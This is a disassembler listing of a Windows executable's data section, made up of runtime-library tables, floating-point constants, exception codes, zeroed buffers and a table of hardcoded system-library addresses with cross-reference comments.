tbyte_435BD0	dt 2.3562723457267347066e313 ; DATA XREF: sub_419BCB+Dr
					; sub_419BCB+1Fr
		align 4
tbyte_435BDC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419BCB+31r
		align 4
off_435BE8	dd offset sub_41A05F	; DATA XREF: sub_415E82+Fw
					; sub_41AAED+3AAr
off_435BEC	dd offset sub_419CF4	; DATA XREF: sub_415E82+5w
					; sub_41AAED+3E2r
off_435BF0	dd offset sub_419D5A	; DATA XREF: sub_415E82+14w
					; sub_41B320+430r
off_435BF4	dd offset sub_419C9A	; DATA XREF: sub_415E82+1Ew
					; sub_41AAED+3CBr
off_435BF8	dd offset sub_419D42	; DATA XREF: sub_415E82+28w
off_435BFC	dd offset sub_41A05F	; DATA XREF: sub_415E82+32w
		dd offset sub_41DAE9
		align 10h
off_435C10	dd offset sub_41A91C	; DATA XREF: .text:0041A972r
off_435C14	dd offset sub_41A91C	; DATA XREF: sub_41A982+29r
off_435C18	dd offset aNull		; DATA XREF: sub_41AAED:loc_41AE51r
					; sub_41AAED+457r
					; "(null)"
off_435C1C	dd offset aNull_0	; DATA XREF: sub_41AAED+259r
					; "(null)"
asc_435C20	db ' ',9,'-',0Dh,']',0  ; DATA XREF: sub_41B320:loc_41B887o
		align 4
asc_435C28:				; DATA XREF: sub_41B320:loc_41B777o
		unicode	0, <]>,0
off_435C2C	dd offset word_435C36	; DATA XREF: sub_416C44+23r
					; sub_416C44:loc_416CA5r ...
		dd offset word_435C36
		db 2 dup(0)
word_435C36	dw 20h			; DATA XREF: sub_41F7D9+18r
					; .data:off_435C2Co ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_435E38	dd 1			; DATA XREF: sub_416C44:loc_416C4Cr
					; sub_416C44:loc_416C90r ...
byte_435E3C	db 2Eh			; DATA XREF: sub_419C9A:loc_419CDAr
					; sub_419CF4+4r ...
		align 10h
		dd 1, 0
dword_435E48	dd 1			; DATA XREF: sub_41C4E8+Co
dword_435E4C	dd 16h			; DATA XREF: sub_41C4E8:loc_41C51Dr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_435FB0	db 1			; DATA XREF: sub_41C4E8+19o
					; sub_41C6E5+E1r
		db 2, 4, 8
		align 8
dword_435FB8	dd 3A4h			; DATA XREF: sub_41C6E5+2Fo
dword_435FBC	dd 82798260h		; DATA XREF: sub_41C6E5+11Dr
		dd 21h,	0
dword_435FC8	dd 0DFA6h		; DATA XREF: sub_41C6E5+C0r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4360A8	dd 0C0000005h		; DATA XREF: sub_41C6E5+3Co
					; sub_41D1AB+Ar ...
dword_4360AC	dd 0Bh			; DATA XREF: sub_420445+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_436120	dd 3			; DATA XREF: sub_41D06A+58r
					; sub_420318+C8r
dword_436124	dd 7			; DATA XREF: sub_41D06A+5Er
					; sub_420318+CDr
dword_436128	dd 0Ah			; DATA XREF: sub_41D1AB+4r
					; .text:00420232r ...
dword_43612C	dd 8Ch			; DATA XREF: sub_41D06A+82r
					; sub_41D06A+8Fw ...
dword_436130	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41A9D8:loc_41AA95o
					; sub_41C031:loc_41C0B2o
dword_436138	dd 2			; DATA XREF: sub_41D965+Eo
					; sub_41D965+28r ...
off_43613C	dd offset aR6002FloatingP ; DATA XREF: sub_41D965+FCr
					; sub_41D965+12Dr ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427A74h, 9, 427A48h, 0Ah,	427A24h, 10h, 4279F8h
		dd 11h,	4279C8h, 12h, 4279A4h, 13h, 427978h, 18h, 427940h
		dd 19h,	427918h, 1Ah, 4278E0h, 1Bh, 4278A8h, 1Ch, 427880h
		dd 78h,	427870h, 79h, 427860h, 7Ah, 427850h, 0FCh, 42BFC0h
		dd 0FFh, 427840h
dword_4361C8	dd 2694h		; DATA XREF: sub_419218+3r
					; .text:00419276r ...
		align 10h
dword_4361D0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41E0A2o
dword_4361E8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41E0B8o
off_436200	dd offset dword_492E40	; DATA XREF: sub_41E5E8+55o
		align 8
		dd offset dword_492E40
		dd 101h
dword_436210	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41E5E8+72o
		dd 1000h, 0
dword_436220	dd 3 dup(0)		; DATA XREF: sub_41A9D8+50o
					; sub_41CB5F+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_436240	dd 3 dup(0)		; DATA XREF: sub_41A9D8+58o
					; sub_41CB5F:loc_41CB7Do
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_436270	dd 84h dup(0)		; DATA XREF: sub_41E5E8+9Bo
dword_436480	dd 7080h		; DATA XREF: sub_41C623+76r
					; sub_41E5E8+69o ...
dword_436484	dd 1			; DATA XREF: sub_41C623+98r
					; sub_41F1B2+8Bw ...
dword_436488	dd 0FFFFF1F0h		; DATA XREF: sub_41C623:loc_41C6D5r
					; sub_41F1B2+94w ...
dword_43648C	dd 545350h, 0Fh	dup(0)	; DATA XREF: .data:off_43650Co
dword_4364CC	dd 544450h, 0Fh	dup(0)	; DATA XREF: .data:off_436510o
off_43650C	dd offset dword_43648C	; DATA XREF: sub_41F1B2+BAr
					; sub_41F1B2+D9r ...
off_436510	dd offset dword_4364CC	; DATA XREF: sub_41F1B2+F4r
					; sub_41F1B2+11Br ...
		align 8
dword_436518	dd 0FFFFFFFFh		; DATA XREF: sub_41F1B2+1Dw
					; sub_41F410+1Er ...
dword_43651C	dd 0			; DATA XREF: sub_41F410:loc_41F544r
					; sub_41F5BC+BFw
dword_436520	dd 0			; DATA XREF: sub_41F410+192r
					; sub_41F5BC+E0w
		align 8
dword_436528	dd 0FFFFFFFFh		; DATA XREF: sub_41F1B2+17w
					; sub_41F410+26r ...
dword_43652C	dd 0			; DATA XREF: sub_41F410+13Ar
					; sub_41F5BC+EAw ...
dword_436530	dd 0			; DATA XREF: sub_41F410+1A1r
					; sub_41F5BC+23r ...
dword_436534	dd 0FFFFFFFFh		; DATA XREF: sub_41F5BC+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_436564	dd 16Dh			; DATA XREF: sub_41C623+2Ar
					; sub_41F5BC+2Er ...
dword_436568	dd 0FFFFFFFFh		; DATA XREF: sub_41F5BC:loc_41F648r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_4365A0	dd 2 dup(0)		; DATA XREF: sub_420942+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_436700	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_420942+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
		dd 74h,	212h dup(0)
dword_4370AC	dd 3 dup(0)		; DATA XREF: sub_401F4B+68o
dword_4370B8	dd 0			; DATA XREF: sub_401896+13o
					; sub_4087B3+48A8o ...
byte_4370BC	db 0			; DATA XREF: sub_40232A+10o
					; .text:0040517Eo ...
		align 10h
dword_4370C0	dd 0			; DATA XREF: sub_4035CD+18r
					; sub_403B34+92w ...
dword_4370C4	dd 0			; DATA XREF: .text:00403F48r
					; .text:0040426Dw ...
		dd 3E6h	dup(0)
dword_438060	dd 6 dup(0)		; DATA XREF: .text:00403FCAo
					; .text:00404033o ...
dword_438078	dd 0			; DATA XREF: sub_403661+82w
					; sub_403661+102o
dword_43807C	dd 41h dup(0)		; DATA XREF: sub_403661+41o
dword_438180	dd 41h dup(0)		; DATA XREF: sub_403661+63o
dword_438284	dd 0			; DATA XREF: sub_403661+F8w
					; sub_403661+114r
dword_438288	dd 0			; DATA XREF: sub_403661+52w
dword_43828C	dd 0			; DATA XREF: sub_403661+4Dw
					; sub_403661+CFr
dword_438290	dd 20h dup(0)		; DATA XREF: sub_403661+9Ao
					; sub_403661+BAo
dword_438310	dd 0			; DATA XREF: sub_403661+8Fw
dword_438314	dd 0			; DATA XREF: sub_403661+A7w
					; sub_403661+C7w
dword_438318	dd 0			; DATA XREF: sub_403661:loc_40378Br
		align 10h
dword_438320	dd 0			; DATA XREF: sub_403661+2D5w
					; sub_403661+32Eo
dword_438324	dd 0A2h	dup(0)		; DATA XREF: sub_403661+2C3o
dword_4385AC	dd 41h dup(0)		; DATA XREF: sub_403661+28Do
dword_4386B0	dd 0			; DATA XREF: sub_403661+2BAw
					; sub_403661+2E1r
		align 8
dword_4386B8	dd 0			; DATA XREF: sub_403661+324w
					; sub_403661+340r
dword_4386BC	dd 0			; DATA XREF: sub_403661+2E7w
dword_4386C0	dd 0			; DATA XREF: sub_403661+2F4w
dword_4386C4	dd 0			; DATA XREF: sub_403661+2B4w
		dd 0
dword_4386CC	dd 0			; DATA XREF: sub_403661:loc_4039B7r
dword_4386D0	dd 0			; DATA XREF: sub_403661+1A1w
					; sub_403661+221o
dword_4386D4	dd 41h dup(0)		; DATA XREF: sub_403661+163o
dword_4387D8	dd 41h dup(0)		; DATA XREF: sub_403661+182o
dword_4388DC	dd 0			; DATA XREF: sub_403661+217w
					; sub_403661+233r
dword_4388E0	dd 0			; DATA XREF: sub_403661+171w
dword_4388E4	dd 0			; DATA XREF: sub_403661+1EEr
dword_4388E8	dd 20h dup(0)		; DATA XREF: sub_403661+1B9o
					; sub_403661+1D9o
dword_438968	dd 0			; DATA XREF: sub_403661+1AEw
dword_43896C	dd 0			; DATA XREF: sub_403661+1C6w
					; sub_403661+1E6w
dword_438970	dd 0			; DATA XREF: sub_403661:loc_4038ABr
		dd 13Eh	dup(0)
dword_438E6C	dd 1000h dup(0)		; DATA XREF: sub_4045C0+1Do
					; .text:004046D2o ...
dword_43CE6C	dd 335h	dup(0)		; DATA XREF: sub_4045C0+13o
					; .text:00404719o ...
dword_43DB40	dd 11h dup(0)		; DATA XREF: sub_4053BF+Fo
dword_43DB84	dd 3 dup(0)		; DATA XREF: .text:004058E7o
dword_43DB90	dd 0			; DATA XREF: sub_4062D3+2Aw
					; sub_4062D3+51r ...
dword_43DB94	dd 0			; DATA XREF: sub_402413+45r
					; sub_402B90+ACr ...
		align 10h
dword_43DBA0	dd 0			; DATA XREF: sub_40448A+Ao
					; sub_40448A+44r ...
		dd 5 dup(0)
dword_43DBB8	dd 0			; DATA XREF: sub_40448A+60r
					; sub_4087B3+8CEr
		dd 2D9h	dup(0)
dword_43E720	dd 0			; DATA XREF: .text:00403FA0r
					; sub_40448A+2Do ...
		dd 7Fh dup(0)
dword_43E920	dd 0			; DATA XREF: sub_414C1C+41w
					; sub_414DA4+40w ...
dword_43E924	dd 0			; DATA XREF: .text:loc_403F42r
					; .text:00403F77r ...
dword_43E928	dd 0			; DATA XREF: sub_413440+AEw
					; sub_414C1C+52w ...
dword_43E92C	dd 0			; DATA XREF: .text:0040582Br
					; .text:004064ADw ...
dword_43E930	dd 0			; DATA XREF: .text:00412005w
					; .text:0041219Ar ...
dword_43E934	dd 0			; DATA XREF: sub_403661+122w
					; sub_403661+242w ...
byte_43E938	db 0			; DATA XREF: sub_40841B+91o
					; sub_4087B3+242Ar ...
		align 4
		dd 1B85h dup(0)
dword_445750	dd 7666h dup(0)		; DATA XREF: .data:off_42BED0o
		db 0
byte_4630E9	db 3 dup(0)		; DATA XREF: .text:off_4011EAo
		dd 80F1h dup(0)
dword_4834B0	dd 1Ah			; DATA XREF: sub_4034D1:loc_40353Fr
					; sub_407BA3+3Dw ...
		align 8
dword_4834B8	dd 0			; DATA XREF: sub_407BA3:loc_40817Co
dword_4834BC	dd 20h dup(0)		; DATA XREF: sub_407BA3+572o
					; sub_407BA3+62Ao ...
dword_48353C	dd 10h dup(0)		; DATA XREF: sub_407BA3+588o
dword_48357C	dd 24h dup(0)		; DATA XREF: sub_407BA3+59Fo
dword_48360C	dd 0			; DATA XREF: sub_407BA3+593w
					; sub_407BA3+641w ...
dword_483610	dd 0			; DATA XREF: sub_407BA3+5B2w
		align 10h
dword_483620	dd 0			; DATA XREF: sub_40841B+72r
					; sub_4087B3+276r
		align 8
byte_483628	db 0			; DATA XREF: sub_4085DD+28r
					; sub_4085DD+30o
		align 4
byte_48362C	db 0			; DATA XREF: sub_407BA3:loc_408206r
					; sub_407BA3+671o
		align 10h
dword_483630	dd 0			; DATA XREF: sub_407BA3+5DEw
					; sub_407BA3+5F5r ...
dword_483634	dd 0			; DATA XREF: sub_407BA3+577w
					; sub_4087B3+841r
		dd 1Eh dup(0)
dword_4836B0	dd 0			; DATA XREF: sub_414EF3+16o
					; sub_414F19+19o
dword_4836B4	dd 2A4Dh dup(0)		; DATA XREF: sub_414E93+3Do
		db 0
byte_48DFE9	db 3 dup(0)		; DATA XREF: .text:off_40126Co
		dd 0D4Eh dup(0)
dword_491524	dd 77C72C6Bh		; DATA XREF: sub_40E59D+489w
					; sub_40E59D+4CDr
dword_491528	dd 77EBA994h		; DATA XREF: sub_40E59D+65w
					; sub_411876+166r
dword_49152C	dd 7622A3F4h		; DATA XREF: sub_40E59D+7EDw
					; sub_40E59D+862r ...
dword_491530	dd 71C45229h		; DATA XREF: sub_40E59D+9BAw
					; sub_40E59D+A18r ...
dword_491534	dd 71C24870h		; DATA XREF: sub_40E59D+96Cw
					; sub_40E59D+9E8r ...
dword_491538	dd 77C71BB0h		; DATA XREF: sub_40E59D+46Fw
					; sub_40E59D+4BDr
dword_49153C	dd 77D4808Bh		; DATA XREF: sub_40E59D+213w
					; sub_40E59D+234r
dword_491540	dd 71C4502Ch		; DATA XREF: sub_40E59D+9ADw
					; sub_40E59D+A10r ...
dword_491544	dd 77DE801Bh		; DATA XREF: sub_40E59D+354w
					; sub_40E59D+3A9r ...
dword_491548	dd 77DDACABh		; DATA XREF: sub_40E59D+3F1w
					; sub_414190+11Er
dword_49154C	dd 77DE8075h		; DATA XREF: sub_40E59D+361w
					; sub_40E59D+3B1r ...
dword_491550	dd 77DD7496h		; DATA XREF: sub_40E59D+3A2w
					; sub_410895+ADr
dword_491554	dd 71AB1B7Bh		; DATA XREF: .text:00406544r
					; sub_40E59D+53Cw
dword_491558	dd 77E686CCh		; DATA XREF: sub_4054B8+1Br
					; sub_40E59D+72w ...
dword_49155C	dd 71C2498Bh		; DATA XREF: sub_40E59D+95Fw
					; sub_40E59D+9DBr ...
dword_491560	dd 77DDAB2Fh		; DATA XREF: sub_40E59D+388w
					; sub_40E59D+3C9r ...
dword_491564	dd 7620E8C3h		; DATA XREF: sub_40E59D+83Bw
					; sub_40E59D+88Er ...
dword_491568	dd 77DD23D7h		; DATA XREF: sub_40E59D+2A5w
					; sub_40E59D+2D6r
dword_49156C	dd 76214750h		; DATA XREF: .text:00404D87r
					; sub_40E59D+82Ew ...
dword_491570	dd 77E6D75Bh		; DATA XREF: sub_40E59D+B3w
dword_491574	dd 7620BD61h		; DATA XREF: .text:00404E56r
					; sub_40E59D+848w ...
dword_491578	dd 71AB60C9h		; DATA XREF: sub_40E59D+52Fw
					; sub_40E59D+6B2r ...
dword_49157C	dd 77EBA6E9h		; DATA XREF: sub_40E59D+58w
					; sub_40E59D+CAr ...
dword_491580	dd 76D62A58h		; DATA XREF: sub_40E59D+916w
dword_491584	dd 76F36EAAh		; DATA XREF: sub_4087B3:loc_40C782r
					; sub_40E59D+A66w ...
dword_491588	dd 77E802FCh		; DATA XREF: sub_40E59D+A6w
					; sub_40E59D+F2r
dword_49158C	dd 77C75455h		; DATA XREF: sub_40E59D+462w
					; sub_40E59D+4B5r
dword_491590	dd 71AB12A7h		; DATA XREF: sub_403ADA+20r
					; sub_40E59D+5D8w ...
dword_491594	dd 71C574FAh		; DATA XREF: sub_40E59D+9A0w
					; sub_40E59D+A08r
dword_491598	dd 71AB1746h		; DATA XREF: sub_40E59D+5CBw
					; sub_40E59D+736r
dword_49159C	dd 71B28D0Dh		; DATA XREF: sub_40E59D+B21w
dword_4915A0	dd 762211EFh		; DATA XREF: sub_407BA3+5C8r
					; sub_40E59D+7E0w ...
dword_4915A4	dd 77D902E3h		; DATA XREF: sub_40E59D+1B3w
					; sub_40FF37+15r
dword_4915A8	dd 71C2FA86h		; DATA XREF: sub_40E59D+979w
					; sub_40E59D+9F0r ...
dword_4915AC	dd 77DE1291h		; DATA XREF: sub_40E59D+36Ew
					; sub_40E59D+3B9r ...
dword_4915B0	dd 77E2C1B3h		; DATA XREF: sub_40E59D+37Bw
					; sub_40E59D+3C1r ...
dword_4915B4	dd 73B81E3Bh		; DATA XREF: sub_40E59D+C56w
					; sub_40E59D+C5Dr
dword_4915B8	dd 71ABF628h		; DATA XREF: sub_40E59D+68Ew
dword_4915BC	dd 71AB1836h		; DATA XREF: .text:004051B9r
					; .text:0040583Cr ...
dword_4915C0	dd 77C72889h		; DATA XREF: sub_40E59D+496w
dword_4915C4	dd 71C453F8h		; DATA XREF: sub_40E59D+9C7w
					; sub_40E59D+A20r ...
dword_4915C8	dd 77DD5C55h		; DATA XREF: sub_404954+51r
					; sub_40E59D+2B2w ...
dword_4915CC	dd 77E96645h		; DATA XREF: sub_405779+25r
					; sub_405779+39r ...
dword_4915D0	dd 77428B97h		; DATA XREF: .text:00405089r
					; sub_4087B3+2052r ...
dword_4915D4	dd 71AB41DAh		; DATA XREF: .text:0040783Cr
					; sub_407BA3+8Cr ...
dword_4915D8	dd 762059A3h		; DATA XREF: sub_40E59D+807w
					; sub_40E59D+872r ...
dword_4915DC	dd 71C4A1B4h		; DATA XREF: sub_40E59D+986w
					; sub_40E59D+9F8r
dword_4915E0	dd 1F7CD214h		; DATA XREF: sub_40E59D+BDFw
					; sub_40E59D+C10r
dword_4915E4	dd 77D4456Bh		; DATA XREF: sub_40E59D+22Dw
dword_4915E8	dd 76D629BBh		; DATA XREF: sub_40E59D+8FCw
					; sub_40E59D+910r
dword_4915EC	dd 1F7B9D96h		; DATA XREF: sub_40E59D+BF9w
dword_4915F0	dd 71AB1740h		; DATA XREF: .text:00403DD7r
					; .text:loc_40681Ar ...
dword_4915F4	dd 7620AFB6h		; DATA XREF: sub_40E59D+821w
					; sub_40E59D+855r
dword_4915F8	dd 77D5C13Ah		; DATA XREF: sub_40E59D+220w
					; sub_40E59D+23Cr
dword_4915FC	dd 77D45B19h		; DATA XREF: sub_40E59D+172w
					; sub_40E59D+1C2r
dword_491600	dd 71AB157Eh		; DATA XREF: sub_4087B3+224Dr
					; sub_4087B3+3AB4r ...
dword_491604	dd 71AB3E5Dh		; DATA XREF: sub_402413+FCr
					; sub_402B90+5Er ...
dword_491608	dd 71AB14DCh		; DATA XREF: sub_40E59D+549w
					; sub_40E59D+6BEr
dword_49160C	dd 0CC0004h		; DATA XREF: .text:00404D81r
					; sub_40E59D+8BDw ...
dword_491610	dd 77DD590Bh		; DATA XREF: sub_404954+26r
					; sub_40E59D+28Bw ...
dword_491614	dd 71ABD755h		; DATA XREF: sub_4087B3+3689r
					; sub_40E59D+681w ...
dword_491618	dd 77DF7311h		; DATA XREF: sub_40E59D+30Fw
					; sub_40E59D+323r ...
dword_49161C	dd 77DDA2AFh		; DATA XREF: sub_40E59D+395w
					; sub_40E59D+3D1r ...
dword_491620	dd 1F7CD927h		; DATA XREF: sub_40E59D+BD2w
					; sub_40E59D+C08r
dword_491624	dd 76206853h		; DATA XREF: sub_40E59D+7FAw
					; sub_40E59D+86Ar ...
dword_491628	dd 77D4932Ch		; DATA XREF: sub_40E59D+206w
					; sub_40E59D+227r
dword_49162C	dd 77D5E310h		; DATA XREF: sub_40E59D+18Cw
					; sub_40E59D+1D2r ...
dword_491630	dd 76206B7Fh		; DATA XREF: sub_40E59D+814w
					; sub_40E59D+87Ar ...
dword_491634	dd 71AB1444h		; DATA XREF: .text:00403E37r
					; sub_40E59D+606w ...
dword_491638	dd 77DD189Ah		; DATA XREF: sub_404954+5Ar
					; sub_40E59D+2BFw ...
dword_49163C	dd 71AB3F8Dh		; DATA XREF: sub_40E59D+64Dw
					; sub_40E59D+77Er ...
dword_491640	dd 77DD5D20h		; DATA XREF: sub_40E59D+302w
					; sub_40E59D+316r ...
dword_491644	dd 71AB1890h		; DATA XREF: sub_403BF7+82r
					; .text:00406528r ...
dword_491648	dd 77C76B34h		; DATA XREF: sub_40E59D+42Ew
					; sub_40E59D+490r
dword_49164C	dd 77D5E38Ch		; DATA XREF: sub_40E59D+199w
					; sub_40E59D+1DAr ...
dword_491650	dd 77DDA20Bh		; DATA XREF: sub_40E59D+347w
					; sub_40E59D+39Cr ...
dword_491654	dd 76F36EEBh		; DATA XREF: sub_40E59D+A73w
dword_491658	dd 71AB12A7h		; DATA XREF: sub_401EF5+7r
					; sub_403ADA+2Br ...
dword_49165C	dd 71AB1746h		; DATA XREF: sub_402413+DEr
					; sub_402B90+37r ...
dword_491660	dd 77EBA595h		; DATA XREF: sub_40E59D+4Bw
					; sub_40E59D+C2r ...
dword_491664	dd 77C7531Dh		; DATA XREF: sub_40E59D+455w
					; sub_40E59D+4ADr
dword_491668	dd 77D4BDCAh		; DATA XREF: sub_40E59D+165w
					; sub_40E59D+1BAr ...
dword_49166C	dd 71C3516Ah		; DATA XREF: sub_40E59D+9E1w
					; sub_4113B6+72r
dword_491670	dd 71AB32CAh		; DATA XREF: sub_40E59D+667w
					; sub_40E59D+78Er
dword_491674	dd 71AB5690h		; DATA XREF: sub_401E57+75r
					; sub_402B90+7Br ...
dword_491678	dd 1F7CB8F8h		; DATA XREF: sub_40E59D+BECw
					; sub_40E59D+C18r
dword_49167C	dd 77EBB1E7h		; DATA XREF: sub_40E59D+3Ew
					; sub_40E59D+BAr ...
dword_491680	dd 77DD59F0h		; DATA XREF: sub_404954+45r
					; sub_40E59D+298w ...
dword_491684	dd 71AB5DE2h		; DATA XREF: .text:004064CDr
					; .text:00407A02r ...
dword_491688	dd 71AB3ECEh		; DATA XREF: .text:004064B8r
					; .text:004079F0r ...
dword_49168C	dd 73B81B0Fh		; DATA XREF: sub_40E59D+C63w
dword_491690	dd 76204E4Dh		; DATA XREF: .text:00405229r
					; sub_40E59D+85Bw ...
dword_491694	dd 0			; DATA XREF: sub_40E59D+112w
dword_491698	dd 1F7D886Ah		; DATA XREF: sub_40E59D+BB8w
					; sub_40E59D+BF3r
dword_49169C	dd 71AB12F8h		; DATA XREF: sub_402413+ECr
					; sub_402B90+27r ...
dword_4916A0	dd 77C76551h		; DATA XREF: sub_40E59D+43Bw
					; sub_40E59D+49Dr
dword_4916A4	dd 77C729E2h		; DATA XREF: sub_40E59D+47Cw
					; sub_40E59D+4C5r
dword_4916A8	dd 77C7212Fh		; DATA XREF: sub_40E59D+448w
					; sub_40E59D+4A5r
dword_4916AC	dd 71AB1AF4h		; DATA XREF: sub_401EF5+1Br
					; sub_401EF5+35r ...
dword_4916B0	dd 77D5E303h		; DATA XREF: sub_40E59D+1A6w
					; sub_40E59D+1E2r ...
dword_4916B4	dd 71C4576Ch		; DATA XREF: sub_40E59D+9D4w
					; sub_40E59D+A28r ...
dword_4916B8	dd 77D4702Fh		; DATA XREF: sub_40E59D+158w
					; sub_40E59D+1ADr ...
dword_4916BC	dd 77E6C0E3h		; DATA XREF: sub_40545D+4r
					; sub_40E59D+8Cw ...
dword_4916C0	dd 71AB1ED3h		; DATA XREF: .text:00403DC9r
					; sub_40E59D+5F2w ...
dword_4916C4	dd 71B2A381h		; DATA XREF: sub_40E59D+B14w
					; sub_40E59D+B30r
dword_4916C8	dd 77DDA595h		; DATA XREF: sub_40E59D+31Cw
					; sub_4117F1+55r
dword_4916CC	dd 77DD22EAh		; DATA XREF: sub_40E59D+27Ew
					; sub_40E59D+2B9r ...
dword_4916D0	dd 773F97B0h		; DATA XREF: sub_40E59D+B7Bw
dword_4916D4	dd 76D67A29h		; DATA XREF: sub_40E59D+ABDw
					; sub_4115A6+CEr
dword_4916D8	dd 76D674FAh		; DATA XREF: sub_40E59D+AB0w
					; sub_40E59D+AB7r ...
dword_4916DC	dd 71AB3C22h		; DATA XREF: sub_402B90+46r
					; .text:004032DDr ...
dword_4916E0	dd 71AB2BBFh		; DATA XREF: sub_4087B3+1E1Cr
					; sub_4087B3+36B0r ...
dword_4916E4	dd 1F7BA3A9h		; DATA XREF: sub_40E59D+BC5w
					; sub_40E59D+C00r
dword_4916E8	dd 71AB401Ch		; DATA XREF: sub_4035CD+1Fr
					; .text:00403F81r ...
dword_4916EC	dd 71C214BAh		; DATA XREF: sub_40E59D+993w
					; sub_40E59D+A00r ...
dword_4916F0	dd 71AB868Dh		; DATA XREF: .text:00406569r
					; .text:00407A22r ...
